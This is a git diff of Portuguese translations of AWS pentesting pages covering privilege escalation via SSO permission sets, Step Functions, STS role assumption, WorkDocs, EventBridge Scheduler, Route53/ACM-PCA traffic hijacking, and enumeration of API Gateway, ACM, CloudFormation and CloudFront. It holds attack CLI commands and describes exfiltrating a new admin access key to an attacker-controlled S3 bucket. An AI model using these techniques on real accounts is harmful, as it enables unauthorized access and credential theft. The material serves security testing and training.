Uma maneira fácil de escalar privilégios em casos como este seria ter uma permissão que permita redefinir as senhas dos usuários. Infelizmente, só é possível enviar um e-mail ao usuário para redefinir sua senha, então você precisaria de acesso ao e-mail dos usuários.
### `identitystore:CreateGroupMembership`
@@ -27,7 +27,7 @@ aws identitystore create-group-membership --identity-store-id <tore-id> --group-
```
### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
Um atacante com esta permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
Um atacante com essa permissão poderia conceder permissões extras a um Permission Set que é concedido a um usuário sob seu controle.
```bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
@@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
```
### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
Um atacante com essa permissão poderia conceder permissões adicionais a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
@@ -63,7 +63,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
> [!WARNING]
> Para abusar dessas permissões, neste caso, você precisa saber o **nome de uma política gerenciada pelo cliente que está dentro de TODAS as contas** que serão afetadas.
> Para abusar dessas permissões neste caso, você precisa saber o **nome de uma política gerenciada pelo cliente que está dentro de TODAS as contas** que serão afetadas.
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
@@ -93,7 +93,7 @@ aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInsta
```
### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
Um atacante com esta permissão pode remover a associação entre uma política gerenciada pelo cliente e o conjunto de permissões especificado. É possível conceder mais privilégios através da **desvinculação de uma política gerenciada (política de negação)**.
Um atacante com essa permissão pode remover a associação entre uma política gerenciada pelo cliente e o conjunto de permissões especificado. É possível conceder mais privilégios através da **desvinculação de uma política gerenciada (política de negação)**.
```bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
```

View File

@@ -4,7 +4,7 @@
## Step Functions
Para mais informações sobre este serviço da AWS, consulte:
Para mais informações sobre este serviço AWS, consulte:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
@@ -14,22 +14,22 @@ Para mais informações sobre este serviço da AWS, consulte:
Essas técnicas de escalonamento de privilégios vão exigir o uso de alguns recursos de função de passo da AWS para realizar as ações de escalonamento de privilégios desejadas.
Para verificar todas as ações possíveis, você pode ir à sua própria conta da AWS, selecionar a ação que gostaria de usar e ver os parâmetros que está utilizando, como em:
Para verificar todas as ações possíveis, você pode ir à sua própria conta AWS, selecionar a ação que gostaria de usar e ver os parâmetros que está utilizando, como em:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
Ou você também pode ir à documentação da API da AWS e verificar a documentação de cada ação:
Ou você também pode ir à documentação da API AWS e verificar a documentação de cada ação:
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
### `states:TestState` & `iam:PassRole`
Um atacante com as permissões **`states:TestState`** & **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, permitindo acesso não autorizado a outros serviços da AWS com as permissões da função. potencialmente. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios.
Um atacante com as permissões **`states:TestState`** & **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. potencialmente. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios.
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o **`admin`** usuário aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**:
Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o usuário **`admin`** aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**:
- **stateDefinition.json**:
```json
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
Um atacante com **`states:CreateStateMachine`** & **`iam:PassRole`** seria capaz de criar uma máquina de estado e fornecer a ela qualquer função IAM, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. Em contraste com a técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta não se executa por si só, você também precisará ter as permissões **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **não está disponível para fluxos de trabalho padrão**, **apenas para máquinas de estado expressas**) para iniciar uma execução sobre a máquina de estado.
Um atacante com **`states:CreateStateMachine`** & **`iam:PassRole`** seria capaz de criar uma máquina de estado e fornecer a ela qualquer função IAM, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. Em contraste com a técnica de elevação de privilégios anterior (**`states:TestState`** & **`iam:PassRole`**), esta não se executa por si só, você também precisará ter as permissões **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **não está disponível para fluxos de trabalho padrão**, **apenas para máquinas de estado expressas**) para iniciar uma execução sobre a máquina de estado.
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Os seguintes exemplos mostram como criar uma máquina de estado que cria uma chave de acesso para o **`admin`** usuário e exfiltra essa chave de acesso para um bucket S3 controlado pelo atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estado execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**.
Os seguintes exemplos mostram como criar uma máquina de estados que cria uma chave de acesso para o **`admin`** e exfiltra essa chave de acesso para um bucket S3 controlado por um atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estados execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**.
- **stateMachineDefinition.json**:
```json
@@ -138,12 +138,12 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
### `states:UpdateStateMachine` & (não sempre necessário) `iam:PassRole`
Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, esse novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida.
Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, este novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida.
Dependendo de quão permissivo é o Papel IAM associado à máquina de estados, um atacante enfrentaria 2 situações:
Dependendo de quão permissivo é o IAM Role associado à máquina de estados, um atacante enfrentaria 2 situações:
1. **Papel IAM Permissivo**: Se o Papel IAM associado à máquina de estados já for permissivo (ele tem, por exemplo, a política **`arn:aws:iam::aws:policy/AdministratorAccess`** anexada), então a permissão **`iam:PassRole`** não seria necessária para escalar privilégios, uma vez que não seria necessário atualizar o Papel IAM, com a definição da máquina de estados sendo suficiente.
2. **Papel IAM Não Permissivo**: Em contraste com o caso anterior, aqui um atacante também precisaria da permissão **`iam:PassRole`** uma vez que seria necessário associar um Papel IAM permissivo à máquina de estados, além de modificar a definição da máquina de estados.
1. **IAM Role Permissivo**: Se o IAM Role associado à máquina de estados já for permissivo (ele tem, por exemplo, a política **`arn:aws:iam::aws:policy/AdministratorAccess`** anexada), então a permissão **`iam:PassRole`** não seria necessária para escalar privilégios, uma vez que não seria necessário atualizar o IAM Role, com a definição da máquina de estados é suficiente.
2. **IAM Role Não Permissivo**: Em contraste com o caso anterior, aqui um atacante também precisaria da permissão **`iam:PassRole`** uma vez que seria necessário associar um IAM Role permissivo à máquina de estados além de modificar a definição da máquina de estados.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

View File

@@ -6,7 +6,7 @@
### `sts:AssumeRole`
Toda função é criada com uma **política de confiança da função**, essa política indica **quem pode assumir a função criada**. Se uma função da **mesma conta** diz que uma conta pode assumí-la, isso significa que a conta poderá acessar a função (e potencialmente **privesc**).
Toda função é criada com uma **política de confiança da função**, essa política indica **quem pode assumir a função criada**. Se uma função da **mesma conta** diz que uma conta pode assumi-la, isso significa que a conta poderá acessar a função (e potencialmente **privesc**).
Por exemplo, a seguinte política de confiança da função indica que qualquer um pode assumí-la, portanto **qualquer usuário poderá privesc** para as permissões associadas a essa função.
```json
@@ -39,7 +39,7 @@ Com esta permissão, é possível gerar credenciais para se passar por qualquer
```bash
aws sts get-federation-token --name <username>
```
Esta é a maneira como essa permissão pode ser concedida de forma segura, sem dar acesso para se passar por outros usuários:
É assim que essa permissão pode ser concedida de forma segura, sem dar acesso para se passar por outros usuários:
```json
{
"Version": "2012-10-17",
@@ -78,7 +78,7 @@ Um exemplo de uma política de confiança com esta permissão é:
]
}
```
Para gerar credenciais para se passar pela função, em geral, você poderia usar algo como:
Para gerar credenciais para impersonar a função, você poderia usar algo como:
```bash
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
```
@@ -90,7 +90,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --
### `sts:AssumeRoleWithWebIdentity`
Esta permissão concede permissão para obter um conjunto de credenciais de segurança temporárias para **usuários que foram autenticados em um aplicativo móvel, web, EKS...** com um provedor de identidade da web. [Saiba mais aqui.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
Esta permissão concede permissão para obter um conjunto de credenciais de segurança temporárias para **usuários que foram autenticados em um aplicativo móvel, web, EKS...** com um provedor de identidade web. [Saiba mais aqui.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
Por exemplo, se uma **conta de serviço EKS** deve ser capaz de **impersonar um papel IAM**, ela terá um token em **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** e pode **assumir o papel e obter credenciais** fazendo algo como:
```bash

View File

@@ -30,7 +30,7 @@ aws workdocs get-document --document-id <doc-id>
```
### `workdocs:AddResourcePermissions`
Se você não tem acesso para ler algo, você pode simplesmente concedê-lo
Se você não tem acesso para ler algo, você pode simplesmente concedê-lo.
```bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -38,7 +38,7 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
```
### `workdocs:AddUserToGroup`
Você pode tornar um usuário administrador configurando-o no grupo ZOCALO_ADMIN.\
Você pode tornar um usuário administrador colocando-o no grupo ZOCALO_ADMIN.\
Para isso, siga as instruções em [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
Faça login com esse usuário no workdoc e acesse o painel de administração em `/workdocs/index.html#/admin`

View File

@@ -12,9 +12,9 @@ Mais informações sobre o EventBridge Scheduler em:
### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
Um atacante com essas permissões será capaz de **`criar`|`atualizar` um agendador e abusar das permissões do papel do agendador** anexado a ele para realizar qualquer ação
Um atacante com essas permissões poderá **`criar`|`atualizar` um agendador e abusar das permissões do papel do agendador** anexado a ele para realizar qualquer ação
Por exemplo, eles poderiam configurar o agendamento para **invocar uma função Lambda** que é uma ação template:
Por exemplo, eles poderiam configurar o agendamento para **invocar uma função Lambda** que é uma ação modelada:
```bash
aws scheduler create-schedule \
--name MyLambdaSchedule \

View File

@@ -11,16 +11,16 @@ Para mais informações sobre o Route53, consulte:
### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
> [!NOTE]
> Para realizar este ataque, a conta alvo deve já ter uma [**Autoridade Certificadora Privada do AWS Certificate Manager**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurada na conta, e as instâncias EC2 nas VPC(s) devem já ter importado os certificados para confiá-los. Com essa infraestrutura em vigor, o seguinte ataque pode ser realizado para interceptar o tráfego da API da AWS.
> Para realizar este ataque, a conta alvo deve já ter uma [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurada na conta, e as instâncias EC2 nas VPC(s) devem já ter importado os certificados para confiá-los. Com essa infraestrutura em vigor, o seguinte ataque pode ser realizado para interceptar o tráfego da API da AWS.
Outras permissões **recomendadas, mas não obrigatórias para a parte de enumeração**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
Assumindo que há uma VPC da AWS com múltiplas aplicações nativas da nuvem se comunicando entre si e com a API da AWS. Como a comunicação entre os microsserviços é frequentemente criptografada em TLS, deve haver uma CA privada para emitir os certificados válidos para esses serviços. **Se o ACM-PCA for usado** para isso e o adversário conseguir **acesso para controlar tanto o route53 quanto a CA privada do acm-pca** com o conjunto mínimo de permissões descritas acima, ele pode **sequestar as chamadas da aplicação para a API da AWS** assumindo suas permissões IAM.
Assumindo que há uma VPC da AWS com múltiplas aplicações nativas da nuvem se comunicando entre si e com a API da AWS. Como a comunicação entre os microsserviços é frequentemente criptografada em TLS, deve haver uma CA privada para emitir os certificados válidos para esses serviços. **Se o ACM-PCA for usado** para isso e o adversário conseguir **acesso para controlar tanto o route53 quanto a CA privada do acm-pca** com o conjunto mínimo de permissões descrito acima, ele pode **sequestrar as chamadas da aplicação para a API da AWS** assumindo suas permissões IAM.
Isso é possível porque:
- Os SDKs da AWS não têm [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
- O Route53 permite criar Zona Privada Hospedada e registros DNS para nomes de domínio da API da AWS
- O Route53 permite criar Zona Hospedada Privada e registros DNS para nomes de domínio da API da AWS
- A CA Privada no ACM-PCA não pode ser restrita a assinar apenas certificados para Nomes Comuns específicos
**Impacto Potencial:** Privesc indireto ao interceptar informações sensíveis no tráfego.

View File

@@ -26,6 +26,6 @@ Os serviços que se enquadram na categoria de serviços de contêiner têm as se
## Enumeração de Serviços
**As páginas desta seção estão ordenadas por serviço da AWS. Nelas, você poderá encontrar informações sobre o serviço (como funciona e capacidades) e que permitirão que você escale privilégios.**
**As páginas desta seção estão ordenadas por serviço da AWS. Nelas, você poderá encontrar informações sobre o serviço (como funciona e capacidades) e isso permitirá que você escale privilégios.**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -6,14 +6,14 @@
### Informações Básicas
AWS API Gateway é um serviço abrangente oferecido pela Amazon Web Services (AWS) projetado para desenvolvedores **criarem, publicarem e supervisionarem APIs em grande escala**. Ele funciona como um ponto de entrada para um aplicativo, permitindo que os desenvolvedores estabeleçam um conjunto de regras e procedimentos. Este conjunto rege o acesso que usuários externos têm a certos dados ou funcionalidades dentro do aplicativo.
AWS API Gateway é um serviço abrangente oferecido pela Amazon Web Services (AWS) projetado para desenvolvedores **criarem, publicarem e supervisionarem APIs em grande escala**. Ele funciona como um ponto de entrada para uma aplicação, permitindo que os desenvolvedores estabeleçam um conjunto de regras e procedimentos. Este conjunto rege o acesso que usuários externos têm a certos dados ou funcionalidades dentro da aplicação.
API Gateway permite que você defina **como as solicitações para suas APIs devem ser tratadas**, e pode criar endpoints de API personalizados com métodos específicos (por exemplo, GET, POST, PUT, DELETE) e recursos. Ele também pode gerar SDKs de cliente (Kits de Desenvolvimento de Software) para facilitar que os desenvolvedores chamem suas APIs a partir de seus aplicativos.
API Gateway permite que você defina **como as solicitações para suas APIs devem ser tratadas**, e pode criar endpoints de API personalizados com métodos específicos (por exemplo, GET, POST, PUT, DELETE) e recursos. Ele também pode gerar SDKs de cliente (Kits de Desenvolvimento de Software) para facilitar a chamada de suas APIs a partir de suas aplicações.
### Tipos de API Gateways
### Tipos de Gateways de API
- **HTTP API**: Crie APIs REST de baixa latência e custo-efetivas com recursos integrados, como OIDC e OAuth2, e suporte nativo a CORS. Funciona com: Lambda, backends HTTP.
- **WebSocket API**: Crie uma API WebSocket usando conexões persistentes para casos de uso em tempo real, como aplicativos de chat ou painéis. Funciona com: Lambda, HTTP, Serviços AWS.
- **WebSocket API**: Crie uma API WebSocket usando conexões persistentes para casos de uso em tempo real, como aplicações de chat ou painéis. Funciona com: Lambda, HTTP, Serviços AWS.
- **REST API**: Desenvolva uma API REST onde você tem controle total sobre a solicitação e a resposta, juntamente com capacidades de gerenciamento de API. Funciona com: Lambda, HTTP, Serviços AWS.
- **REST API Privada**: Crie uma API REST que é acessível apenas de dentro de uma VPC.
@@ -28,7 +28,7 @@ API Gateway permite que você defina **como as solicitações para suas APIs dev
### Registro
Por padrão, **CloudWatch Logs** estão **desligados**, **Registro de Acesso** está **desligado**, e **rastreamento X-Ray** também está **desligado**.
Por padrão, **CloudWatch Logs** estão **desligados**, **Registro de Acesso** está **desligado**, e **X-Ray tracing** também está **desligado**.
### Enumeração
@@ -133,13 +133,13 @@ No exemplo a seguir, você pode ver que o **IP indicado não pode chamar** o end
<figure><img src="../../../images/image (256).png" alt=""><figcaption></figcaption></figure>
### Autorizador IAM
### Autenticador IAM
É possível definir que um método dentro de um caminho (um recurso) requer autenticação IAM para ser chamado.
<figure><img src="https://lh3.googleusercontent.com/GGx-kfqNXu6zMqGidnO8_eR88fYPpJG-wNuBBnedAJntiRUEPTEScl7OvWthGYRiI_msYCdC6oBFvJc827Tb4-4UogxpOyrEXyst-8IDzP9DC2NOtXSY7w58L0baCAcBQjSyvBhJREvWWCtiboNYPSKuEw=s2048" alt=""><figcaption></figcaption></figure>
Quando isso é configurado, você receberá o erro `{"message":"Missing Authentication Token"}` ao tentar acessar o endpoint sem nenhuma autorização.
Quando isso é definido, você receberá o erro `{"message":"Missing Authentication Token"}` ao tentar acessar o endpoint sem nenhuma autorização.
Uma maneira fácil de gerar o token esperado pela aplicação é usar **curl**.
```bash
@@ -155,9 +155,9 @@ Ambos os métodos gerarão um **Authorization** **header** como:
```
AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2
```
Note que em outros casos o **Authorizer** pode ter sido **mal codificado** e enviar **qualquer coisa** dentro do **Authorization header** irá **permitir ver o conteúdo oculto**.
Observe que em outros casos o **Authorizer** pode ter sido **mal codificado** e enviar **qualquer coisa** dentro do **Authorization header** permitirá **ver o conteúdo oculto**.
### Request Signing Using Python
### Assinatura de Requisições Usando Python
```python
pip install requests
@@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth)
print(response.text)
```
### Custom Lambda Authorizer
### Autorizador Lambda Personalizado
É possível usar uma lambda que, com base em um token fornecido, **retornará uma política IAM** indicando se o usuário está **autorizado a chamar o endpoint da API**.\
Você pode definir cada método de recurso que usará o autorizer.
É possível usar um lambda que, com base em um token fornecido, **retornará uma política IAM** indicando se o usuário está **autorizado a chamar o endpoint da API**.\
Você pode definir cada método de recurso que usará o autorizador.
<details>
<summary>Exemplo de Código do Lambda Authorizer</summary>
<summary>Exemplo de Código do Autorizador Lambda</summary>
```python
import json
@@ -242,7 +242,7 @@ Chame-o com algo como:
</strong></code></pre>
> [!WARNING]
> Dependendo do código Lambda, esta autorização pode ser vulnerável
> Dependendo do código Lambda, essa autorização pode ser vulnerável
Note que se uma **política de negação for gerada e retornada**, o erro retornado pelo API Gateway é: `{"Message":"User is not authorized to access this resource with an explicit deny"}`

View File

@@ -4,9 +4,9 @@
## Informações Básicas
**AWS Certificate Manager (ACM)** é fornecido como um serviço destinado a simplificar o **provisionamento, gerenciamento e implantação de certificados SSL/TLS** para serviços AWS e recursos internos. A necessidade de processos manuais, como compra, upload e renovações de certificados, é **eliminada** pelo ACM. Isso permite que os usuários solicitem e implementem certificados de forma eficiente em vários recursos AWS, incluindo **Elastic Load Balancers, distribuições Amazon CloudFront e APIs no API Gateway**.
**AWS Certificate Manager (ACM)** é fornecido como um serviço destinado a simplificar a **provisionamento, gerenciamento e implantação de certificados SSL/TLS** para serviços AWS e recursos internos. A necessidade de processos manuais, como compra, upload e renovações de certificados, é **eliminada** pelo ACM. Isso permite que os usuários solicitem e implementem certificados de forma eficiente em vários recursos AWS, incluindo **Elastic Load Balancers, distribuições Amazon CloudFront e APIs no API Gateway**.
Uma característica chave do ACM é a **renovação automática de certificados**, reduzindo significativamente a sobrecarga de gerenciamento. Além disso, o ACM suporta a criação e o gerenciamento centralizado de **certificados privados para uso interno**. Embora os certificados SSL/TLS para serviços integrados da AWS, como Elastic Load Balancing, Amazon CloudFront e Amazon API Gateway, sejam fornecidos sem custo adicional através do ACM, os usuários são responsáveis pelos custos associados aos recursos AWS utilizados por suas aplicações e uma taxa mensal para cada **Autoridade Certificadora (CA) privada** e certificados privados usados fora dos serviços integrados do ACM.
Uma característica chave do ACM é a **renovação automática de certificados**, reduzindo significativamente a sobrecarga de gerenciamento. Além disso, o ACM suporta a criação e gerenciamento centralizado de **certificados privados para uso interno**. Embora os certificados SSL/TLS para serviços AWS integrados, como Elastic Load Balancing, Amazon CloudFront e Amazon API Gateway, sejam fornecidos sem custo adicional através do ACM, os usuários são responsáveis pelos custos associados aos recursos AWS utilizados por suas aplicações e uma taxa mensal para cada **private Certificate Authority (CA)** e certificados privados usados fora dos serviços integrados do ACM.
**AWS Private Certificate Authority** é oferecido como um **serviço de CA privada gerenciado**, aprimorando as capacidades do ACM ao estender o gerenciamento de certificados para incluir certificados privados. Esses certificados privados são fundamentais para autenticar recursos dentro de uma organização.
@@ -26,7 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce
# Account configuration
aws acm get-account-configuration
```
### PCM
### PCA
```bash
# List CAs
aws acm-pca list-certificate-authorities
@@ -50,7 +50,7 @@ aws acm-pca get-policy --resource-arn <arn>
TODO
## Pós Exploração
## Post Exploitation
TODO

View File

@@ -1,12 +1,12 @@
# AWS - CloudFormation & Codestar Enum
# AWS - Enumeração do CloudFormation & Codestar
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pela **provisionamento e configuração** dos recursos especificados. Esta automação facilita uma gestão mais eficiente e sem erros da infraestrutura AWS.
AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos da AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos da AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pela **provisionamento e configuração** dos recursos especificados. Essa automação facilita uma gestão mais eficiente e sem erros da infraestrutura da AWS.
### Enumeration
### Enumeração
```bash
# Stacks
aws cloudformation list-stacks
@@ -37,7 +37,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do cloud
../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}}
### Pós-Exploração
### Post-Exploitation
Verifique se há **segredos** ou informações sensíveis no **template, parâmetros e saída** de cada CloudFormation
@@ -45,7 +45,7 @@ Verifique se há **segredos** ou informações sensíveis no **template, parâme
AWS CodeStar é um serviço para criar, gerenciar e trabalhar com projetos de desenvolvimento de software na AWS. Você pode desenvolver, construir e implantar rapidamente aplicações na AWS com um projeto AWS CodeStar. Um projeto AWS CodeStar cria e **integra serviços da AWS** para sua cadeia de ferramentas de desenvolvimento de projetos. Dependendo da sua escolha de template de projeto AWS CodeStar, essa cadeia de ferramentas pode incluir controle de versão, construção, implantação, servidores virtuais ou recursos sem servidor, e mais. O AWS CodeStar também **gerencia as permissões necessárias para os usuários do projeto** (chamados de membros da equipe).
### Enumeração
### Enumeration
```bash
# Get projects information
aws codestar list-projects

View File

@@ -4,17 +4,17 @@
## CloudFront
CloudFront é a **rede de entrega de conteúdo da AWS que acelera a distribuição** do seu conteúdo estático e dinâmico através de sua rede mundial de locais de borda. Quando você usa um conteúdo de solicitação que está hospedando através do Amazon CloudFront, a solicitação é roteada para o local de borda mais próximo, o que proporciona a menor latência para oferecer o melhor desempenho. Quando os **logs de acesso do CloudFront** estão habilitados, você pode registrar a solicitação de cada usuário que solicita acesso ao seu site e distribuição. Assim como os logs de acesso do S3, esses logs também são **armazenados no Amazon S3 para armazenamento durável e persistente**. Não há cobranças por habilitar o registro em si, no entanto, como os logs são armazenados no S3, você será cobrado pelo armazenamento utilizado pelo S3.
CloudFront é a **rede de entrega de conteúdo da AWS que acelera a distribuição** do seu conteúdo estático e dinâmico através de sua rede mundial de locais de borda. Quando você usa um conteúdo de solicitação que está hospedando através do Amazon CloudFront, a solicitação é roteada para o local de borda mais próximo, que fornece a menor latência para oferecer o melhor desempenho. Quando os **logs de acesso do CloudFront** estão habilitados, você pode registrar a solicitação de cada usuário que solicita acesso ao seu site e distribuição. Assim como os logs de acesso do S3, esses logs também são **armazenados no Amazon S3 para armazenamento durável e persistente**. Não há cobranças por habilitar a gravação em si, no entanto, como os logs são armazenados no S3, você será cobrado pelo armazenamento utilizado pelo S3.
Os arquivos de log capturam dados ao longo de um período de tempo e, dependendo da quantidade de solicitações recebidas pelo Amazon CloudFront para essa distribuição, dependerá da quantidade de arquivos de log que são gerados. É importante saber que esses arquivos de log não são criados ou escritos no S3. O S3 é simplesmente onde eles são entregues uma vez que o arquivo de log está cheio. **O Amazon CloudFront retém esses logs até que estejam prontos para serem entregues ao S3**. Novamente, dependendo do tamanho desses arquivos de log, essa entrega pode levar **entre uma e 24 horas**.
Os arquivos de log capturam dados ao longo de um período de tempo e, dependendo da quantidade de solicitações recebidas pelo Amazon CloudFront para essa distribuição, dependerá da quantidade de arquivos de log que são gerados. É importante saber que esses arquivos de log não são criados ou gravados no S3. O S3 é simplesmente onde eles são entregues uma vez que o arquivo de log está cheio. **O Amazon CloudFront retém esses logs até que estejam prontos para serem entregues ao S3**. Novamente, dependendo do tamanho desses arquivos de log, essa entrega pode levar **entre uma e 24 horas**.
**Por padrão, o registro de cookies está desativado**, mas você pode habilitá-lo.
**Por padrão, o registro de cookies está desativado**, mas você pode ativá-lo.
### Functions
Você pode criar funções no CloudFront. Essas funções terão seu **endpoint no cloudfront** definido e executarão um **código NodeJS** declarado. Esse código será executado dentro de um **sandbox** em uma máquina gerenciada pela AWS (você precisaria de um bypass de sandbox para conseguir escapar para o sistema operacional subjacente).
Você pode criar funções no CloudFront. Essas funções terão seu **endpoint no cloudfront** definido e executarão um **código NodeJS** declarado. Esse código será executado dentro de um **sandbox** em uma máquina que está sob a gestão da AWS (você precisaria de um bypass de sandbox para conseguir escapar para o sistema operacional subjacente).
Como as funções não são executadas na conta AWS dos usuários, nenhuma função IAM está anexada, portanto, nenhum privilégio de escalonamento direto é possível abusando dessa funcionalidade.
Como as funções não são executadas na conta AWS dos usuários, nenhuma função IAM está anexada, portanto, nenhum privilégio direto é possível abusando desse recurso.
### Enumeration
```bash

View File

@@ -4,27 +4,27 @@
## HSM - Módulo de Segurança de Hardware
